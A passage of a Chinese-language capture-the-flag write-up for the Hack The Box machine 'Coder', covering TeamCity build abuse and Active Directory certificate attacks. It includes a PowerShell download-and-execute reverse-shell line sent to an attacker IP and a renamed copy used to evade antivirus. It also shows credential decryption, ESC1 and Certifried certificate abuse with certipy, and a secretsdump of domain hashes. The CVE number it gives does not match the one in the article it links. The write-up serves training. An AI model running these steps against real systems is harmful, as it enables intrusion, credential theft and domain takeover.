git diff hello_world.ps1 > test.diff

此时再次上传diff ,然后 run

image

这次没有报错并且成功收到了请求

1
2
3
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.207 - - [08/Jul/2025 13:59:25] "GET / HTTP/1.1" 200 -

修改拿一下revhshell

1
2
3
4
5
6
7
8
9
10
└─$ git diff                            
diff --git a/hello_world.ps1 b/hello_world.ps1
index 09724d2..bb73e8f 100644
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,4 @@
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"
+
+IEX(iwr http://10.10.16.9/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.9 -Port 10086

上传之后 run,被淦了,看报错是有df

image

简单改下脚本再次上传。

1
2
3
4
5
6
7
8
9
10
└─$ git diff            
diff --git a/hello_world.ps1 b/hello_world.ps1
index 09724d2..16f77a7 100644
--- a/hello_world.ps1
+++ b/hello_world.ps1
@@ -1,2 +1,4 @@
#Simple repo test for Teamcity pipeline
write-host "Hello, World!"
+
+IEX(iwr http://10.10.16.9/Invoke-aa.ps1 -UseBasicParsing);Invoke-aa -Rv -IA 10.10.16.9 -PP 10086

image

拿到 svc_teamcity shell

1
2
3
4
5
6
7
8
9
10
11
Photoshop C:\TeamCity\buildAgent\conf*cat buildAgent.properties
serverUrl=http\://localhost\:8111

systemDir=C\:\\TeamCity\\buildAgent\\system
env.TEAMCITY_JRE=C\:\\TeamCity\\jre
name=dc01
tempDir=C\:\\TeamCity\\buildAgent\\temp
workDir=C\:\\TeamCity\\buildAgent\\work
ownPort=9090

authorizationToken=63a48d52c4fac2ab6a14a633d4f17a46

to Root

to e.black

这里在 svc_teamcity 枚举半天没翻到有价值的信息,去看0xdf的wp

得知在 C:\ProgramData\JetBrains\system 路径下有个 changes 其中包含了迭代的diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Photoshop C:\ProgramData\JetBrains\TeamCity\system\changes*cat 101.changes.diff
diff --git a/Get-ADCS_Report.ps1 b/Get-ADCS_Report.ps1
index d6515ce..a990b2e 100644
--- a/Get-ADCS_Report.ps1
+++ b/Get-ADCS_Report.ps1
@@ -77,11 +77,15 @@ Function script:send_mail {
[string]
$subject
)
+
+$key = Get-Content ".\key.key"
+$pass = (Get-Content ".\enc.txt" | ConvertTo-SecureString -Key $key)
+$cred = New-Object -TypeName System.Management.Automation.PSCredential ("coder\e.black",$pass)
$emailFrom = 'pkiadmins@coder.htb'
$emailCC = 'e.black@coder.htb'
$emailTo = 'itsupport@coder.htb'
$smtpServer = 'smtp.coder.htb'
-Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High
+Send-MailMessage -SmtpServer $smtpServer -To $emailTo -Cc $emailCC -From $emailFrom -Subject $subject -Body $message -BodyAsHtml -Priority High -Credential $cred
}


diff --git a/enc.txt b/enc.txt
new file mode 100644
index 0000000..d352634
--- /dev/null
+++ b/enc.txt
@@ -0,0 +1,2 @@
+76492d1116743f0423413b16050a5345MgB8AGoANABuADUAMgBwAHQAaQBoAFMAcQB5AGoAeABlAEQAZgBSAFUAaQBGAHcAPQA9AHwANABhADcANABmAGYAYgBiAGYANQAwAGUAYQBkAGMAMQBjADEANAAwADkAOQBmADcAYQBlADkAMwAxADYAMwBjAGYAYwA4AGYAMQA3ADcAMgAxADkAYQAyAGYAYQBlADAAOQA3ADIAYgBmAGQAN
+AA2AGMANQBlAGUAZQBhADEAZgAyAGQANQA3ADIAYwBjAGQAOQA1ADgAYgBjAGIANgBhAGMAZAA4ADYAMgBhADcAYQA0ADEAMgBiAGIAMwA5AGEAMwBhADAAZQBhADUANwBjAGQANQA1AGUAYgA2AGIANQA5AGQAZgBmADIAYwA0ADkAMgAxADAAMAA1ADgAMABhAA==
diff --git a/key.key b/key.key
new file mode 100644
index 0000000..a6285ed
--- /dev/null
+++ b/key.key
@@ -0,0 +1,32 @@
+144
+255
+52
+33
+65
+190
+44
+106
+131
+60
+175
+129
+127
+179
+69
+28
+241
+70
+183
+53
+153
+196
+10
+126
+108
+164
+172
+142
+119
+112
+20
+122

没想通他们怎么会能找到这路径,然后能发现这下面的文件有用,目前唯一能解释得就是我枚举的还是不够,给我菜完了。

这个文件是以 e.black@coder.htb 账户身份发邮件。

e.black 凭据enc由key加密,所以在本地导入一下这俩解密即可得到 e.black 凭据。

1
2
3
4
Photoshop C:\TeamCity\buildAgent\work\74c2f03019966b3e*$key = cat ./key.txt
Photoshop C:\TeamCity\buildAgent\work\74c2f03019966b3e*$pass = (cat ./enc.txt | ConvertTo-SecureString -Key $key)
Photoshop C:\TeamCity\buildAgent\work\74c2f03019966b3e*[System.Net.NetworkCredential]::new("", $pass).Password
ypOSJXPqlDOxxbQSfEERy300

这个账户在远程管理组里,所以得到密码winrm即可

1
evil-winrm -i 10.10.11.207 -u e.black  -p ypOSJXPqlDOxxbQSfEERy300

to DC

先枚举 e.black 账户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(LDAPS)-[dc01.coder.htb]-[CODER\s.blade]
PV > Get-DomainUser e.black
cn : Erron Black
distinguishedName : CN=Erron Black,CN=Users,DC=coder,DC=htb
memberOf : CN=PKI Admins,CN=Users,DC=coder,DC=htb
CN=Remote Management Users,CN=Builtin,DC=coder,DC=htb
name : Erron Black
objectGUID : {c8f89a02-01bf-4b74-bbf8-9bcc688ce678}
userAccountControl : NORMAL_ACCOUNT [66048]
DONT_EXPIRE_PASSWORD
badPwdCount : 0
badPasswordTime : 01/01/1601 00:00:00 (424 years, 6 months ago)
lastLogoff : 1601-01-01 00:00:00+00:00
lastLogon : 08/11/2022 22:05:01 (2 years, 8 months ago)
pwdLastSet : 07/11/2022 19:40:31 (2 years, 8 months ago)
primaryGroupID : 513
objectSid : S-1-5-21-2608251805-3526430372-1546376444-1106
sAMAccountName : e.black
sAMAccountType : SAM_USER_OBJECT
userPrincipalName : e.black@coder.htb
objectCategory : CN=Person,CN=Schema,CN=Configuration,DC=coder,DC=htb

这个账户属于 PKI Admins 组,从下文可得知,PKI Admins 通常有权限管理证书.

https://www.linkedin.com/pulse/attack-vectors-against-active-directory-certificate-services-patel-bpcyf

但是这里我尝试certipy对证书模板直接进行修改,权限是不足的。

我没找到比较好的远程创建证书的方式,但是我也不想造轮子。

所以在服务器上用 ADCSTemplate 直接创建了一张包含esc1证书的模板注册给了 e.black

这里奇怪的是虽然e.black在 pkI ADMIN 组内,但我下发了一张没有启用的证书模板时,我尝试用 certipy 进行启用,却提示权限不足,尝试列出证书模板也是同样。

1
2
3
4
└─$ certipy ca -u e.black@coder.htb -p ypOSJXPqlDOxxbQSfEERy300 -dc-ip 10.10.11.207 -ca coder-DC01-CA -enable-template test
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[-] Access denied: Insufficient permissions to get templates

同理在系统内直接 add 也是如此,仿佛就只给了创建证书权限似的,很怪。

后来看了下脚本是直接用 Set-ADObject 启用的,嗦嘚速内。

1
2
3
4
5
6
7
8
If ($Publish) {
### WARNING: Issues on all available CAs. Test in your environment.
$EnrollmentPath = "CN=Enrollment Services,CN=Public Key Services,CN=Services,$ConfigNC"
$CAs = Get-ADObject -SearchBase $EnrollmentPath -SearchScope OneLevel -Filter * -Server $Server
ForEach ($CA in $CAs) {
Set-ADObject -Identity $CA.DistinguishedName -Add @{certificateTemplates=$DisplayName.Replace(' ','')} -Server $Server
}
}

所以只好在创建阶段直接启用。

打完之后翻看别人wp好像是个非预期,预期是 cve-2022-29623 要用到一开始的 s.bladebuildagent ou添加账户的权限,所以这里着重记录 cve-2022-29623.

cve-2022-29623

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

这个漏洞通俗来说是通过优先校验dns名来匹配证书下发,导致的可以滥用dns获取域内任意目标证书,和后来的几个esc10和esc14一定程度上有点点相似,不过这个是逻辑处理上有问题。

在文章中有指出,这个漏洞已经修复了但是嵌入 CT_FLAG_NO_SECURITY_EXTENSION 标识的模板仍然可以利用,最基础的是需要对dNSHostName属性有写入权限。

微软在2022 年 5 月的安全更新中修补了此漏洞,通过在新证书中引入新的对象 ID (OID) 来进一步识别用户。这是通过将用户的objectSid(SID) 嵌入新的szOID_NTDS_CA_SECURITY_EXT( 1.3.6.1.4.1.311.25.2) OID 中来实现的。在属性中设置了新CT_FLAG_NO_SECURITY_EXTENSION( 0x80000) 标志的证书模板msPKI-Enrollment-Flag将不会嵌入新的szOID_NTDS_CA_SECURITY_EXTOID,因此这些模板仍然容易受到此攻击。虽然不太可能设置此标志,但您应该注意打开此标志的含义。此外,“已验证的对 DNS 主机名的写入”权限现在只允许设置与dNSHostName帐户的 SAM 帐户名匹配的属性。但是,如果拥有对计算机帐户的通用写入权限,仍然可以创建重复的dNSHostName值。

回到最开始s.blade的权限部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PV > Get-DomainObjectAcl  -SecurityIdentifier  S-1-5-21-2608251805-3526430372-1546376444-8601 -ResolveGUIDs 

ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb
ObjectSID : None
ACEType : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags : CONTAINER_INHERIT_ACE, INHERIT_ONLY_ACE
AccessMask : ReadProperty, WriteProperty, Self
ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT, ACE_INHERITED_OBJECT_TYPE_PRESENT
ObjectAceType : DNS Host Name Attributes (72e39547-7b18-11d1-adef-00c04fd8d5cd)
InheritanceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2)
SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601)

ObjectDN : OU=BuildAgents,OU=Development,DC=coder,DC=htb
ObjectSID : None
ACEType : ACCESS_ALLOWED_OBJECT_ACE
ACEFlags : CONTAINER_INHERIT_ACE
AccessMask : CreateChild, DeleteChild
ObjectAceFlags : ACE_OBJECT_TYPE_PRESENT
ObjectAceType : UNKNOWN (bf967a86-0de6-11d0-a285-00aa003049e2)
InheritanceType : None
SecurityIdentifier : BuildAgent Mgmt (S-1-5-21-2608251805-3526430372-1546376444-8601)

这里 s.blade 能够对 BuildAgents OU 内创建账户,以及对其有 DNS Host Name 的修改权限

这个漏洞在文章中有重点解释的一点是,在当我们创建了主机账户 创建者对被创建主机持有 Validated write to service principal name 这一权限,这导致创建者在修改主机账户的dnshostname进行其他账户的伪造时,系统会依据账户的 dnshostname 更新这个账户 spn 中host的部分,并会检测spn中这个host的唯一性。

这是理所当然的,因为在同一个林中spn必须是唯一的,所以就会和同名的目标对象进行spn上的冲突,针对这一点具体的解释可以看下文。

https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/kerberos-error-kdc-err-s-principal-unknown-or-not-unique

为了规避,由修改dnshostname导致spn与目标spn撞了从而导致的dnshostname修改失败, 作者 Oliver Lyak 采取的方式是,把把spn里会伴随着dnshostname的spn先扬了,再进行dnshostname的修改 是个人物XD .

image

既然知道了原理,就先创建这个证书,这里我用的和在esc1部分一样,用的machine的模板。

修改证书

1
2
3
4
5
6
7
8
9
10
11
12
import-module ./ADCSTemplate.psm1

Export-ADCSTemplate -DisplayName computer > com.json

$tmp = cat com.json -raw | ConvertFrom-Json

## 附加 NoSecurityExtension
$tmp."msPKI-Enrollment-Flag" = 524288

$tmp|Convertto-json > computer.json

New-ADCSTemplate -DisplayName test -JSON (cat ./computer.json -raw) -Publish

这里需要先创建用户再应用模板

certipy中已经具备了创建账户时,指定dns以及剔除冲突的spn,不需要手动再去删了。

1
2
3
4
5
6
7
8
9
10
11
└─$ certipy account create -u 's.blade@coder.htb' -p 'AmcwNO60Zg3vca3o0HDrTC6D' -user "test" -dns dc01.coder.htb -dc-ip 10.10.11.207 -group "OU=BUILDAGENTS,OU=DEVELOPMENT,DC=CODER,DC=HTB"
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Creating new account:
sAMAccountName : test$
unicodePwd : 4kNGC5ZWCSldSuYw
userAccountControl : 4096
servicePrincipalName : HOST/test
RestrictedKrbHost/test
dnsHostName : dc01.coder.htb
[*] Successfully created account 'test$' with password '4kNGC5ZWCSldSuYw'

然后添加 test$ 请求证书的权限

1
Set-ADCSTemplateACL -DisplayName test -Type Allow -Identity 'coder\test$' -Enroll

查看证书

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
34    
Template Name : test
Display Name : test
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireDns
SubjectRequireDnsAsCn
Enrollment Flag : NoSecurityExtension
Extended Key Usage : Server Authentication
Client Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 1
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2025-07-8T16:55:44+00:00
Template Last Modified : 2025-07-8T16:55:49+00:00
Permissions
Enrollment Permissions
Enrollment Rights : CODER.HTB\test
Object Control Permissions
Owner : CODER.HTB\Erron Black
Full Control Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Owner Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins
Write Dacl Principals : CODER.HTB\Domain Admins
CODER.HTB\Local System
CODER.HTB\Enterprise Admins

确认模板没问题就请求证书。

1
2
3
4
5
6
7
8
9
10
11
12
└─$ certipy req -u 'test$@coder.htb' -p 4kNGC5ZWCSldSuYw -dc-ip  10.10.11.207 -template testa -ca coder-DC01-CA
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 20
[*] Successfully requested certificate
[*] Got certificate with DNS Host Name 'dc01.coder.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'dc01.pfx'
File 'dc01.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): dc01
[*] Wrote certificate and private key to 'dc01_5c498701-911f-4ce9-ac88-239fd1297a82.pfx'

获取 dc hash

1
2
3
4
5
6
7
8
9
10
11
12
└─$ certipy auth -pfx dc01_5c498701-911f-4ce9-ac88-239fd1297a82.pfx -dc-ip 10.10.11.207
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*] SAN DNS Host Name: 'dc01.coder.htb'
[*] Using principal: 'dc01$@coder.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@coder.htb': aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94

shadow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
└─$ impacket-secretsdump -dc-ip 10.10.11.207 coder.htb/'dc01$'@10.10.11.207 -hashes :56dc040d21ac40b33206ce0c2f164f94
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:807726fcf9f188adc26eeafd7dc16bb7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:26000ce1f6ca4029ec5d3a95631e797c:::
coder.htb\e.black:1106:aad3b435b51404eeaad3b435b51404ee:e1b96bbb66a073787a3310b5a956200d:::
coder.htb\c.cage:1107:aad3b435b51404eeaad3b435b51404ee:3ab6e9f70dbc0d19623be042d224b993:::
coder.htb\j.briggs:1108:aad3b435b51404eeaad3b435b51404ee:e38976c0b20e3e41e9c62da792115a33:::
coder.htb\l.kang:1109:aad3b435b51404eeaad3b435b51404ee:b8aba4878e4777864b292731ac88b4cd:::
coder.htb\s.blade:1110:aad3b435b51404eeaad3b435b51404ee:4e4a79beed7d042627d0a7b10f5d008a:::
coder.htb\svc_teamcity:5101:aad3b435b51404eeaad3b435b51404ee:4c5a6890e09834a6834dbf7a76bf20cb:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:56dc040d21ac40b33206ce0c2f164f94:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:86a6a038ff6058c56a74e2e35008f6b037b8e7bca8c75cc5ee4495f77d0be71e
Administrator:aes128-cts-hmac-sha1-96:6d63b0853502cbbc8c8e40ad8fe88fa3
Administrator:des-cbc-md5:37feabd9d9575785
krbtgt:aes256-cts-hmac-sha1-96:aeb517a1efec8b79479cb1432e734555bc1039bcbd77bcdc39234b37199a70d3
krbtgt:aes128-cts-hmac-sha1-96:2bab4af978e4cee0b58fa1d377d35981
krbtgt:des-cbc-md5:100489b5839798cb
coder.htb\e.black:aes256-cts-hmac-sha1-96:ccb6c47af9a05d91e7610fe396cd8ffcc0e51279a2eee253fab1fb40536a5a85
coder.htb\e.black:aes128-cts-hmac-sha1-96:650ad0d49ab4bcff325a7f2a846d433f
coder.htb\e.black:des-cbc-md5:89290da2c2cd16ec
coder.htb\c.cage:aes256-cts-hmac-sha1-96:ea9cc2144c3106e9325b1ddda16c27c644d9f9b7e95098581ceba19c75d9b296
coder.htb\c.cage:aes128-cts-hmac-sha1-96:2cff13848c9e8d07339a6ab41bf72088
coder.htb\c.cage:des-cbc-md5:fd6d578510df1af1
coder.htb\j.briggs:aes256-cts-hmac-sha1-96:ec3ac8b99094903a3ca006a725dc0867666347efb4baf04d8b2f8b0305ab65ee
coder.htb\j.briggs:aes128-cts-hmac-sha1-96:39050d78545c40645fa889c13200f8f7
coder.htb\j.briggs:des-cbc-md5:7f5286d35def8f15
coder.htb\l.kang:aes256-cts-hmac-sha1-96:d7eb03d2695638c4ba423cd88e22dcdd7c0f6da996e5d6ed3af6c6d7e6c56661
coder.htb\l.kang:aes128-cts-hmac-sha1-96:25ad8331aa0fa2b26e220040b9e55937
coder.htb\l.kang:des-cbc-md5:571a573e61ced640
coder.htb\s.blade:aes256-cts-hmac-sha1-96:ceeab374597121113f3bdee3aab1fed0522506909b2f1ec24dfe36045eb3c252
coder.htb\s.blade:aes128-cts-hmac-sha1-96:69f4cada02748fba948e4c15460add9e
coder.htb\s.blade:des-cbc-md5:26eca8ad9deaada2
coder.htb\svc_teamcity:aes256-cts-hmac-sha1-96:b6c7ed72b4434a89c56295df6b42ca68937702dda15f90f23423e8712abce030
coder.htb\svc_teamcity:aes128-cts-hmac-sha1-96:d6604e2fadb40bbf71708e7b9c9734a7
coder.htb\svc_teamcity:des-cbc-md5:264ab5645ed91c86
DC01$:aes256-cts-hmac-sha1-96:a43b686fdd5f2e576ad834c5b1d4327dd5bdbd3ec579677343a2c6c43c8f1740
DC01$:aes128-cts-hmac-sha1-96:22192237a3cb399c19a6b469dcd1cba8
DC01$:des-cbc-md5:cb9758c162ba4943
[*] Cleaning up...

难点是totp和C盘下呢个programData里藏东西,整体来说不算难。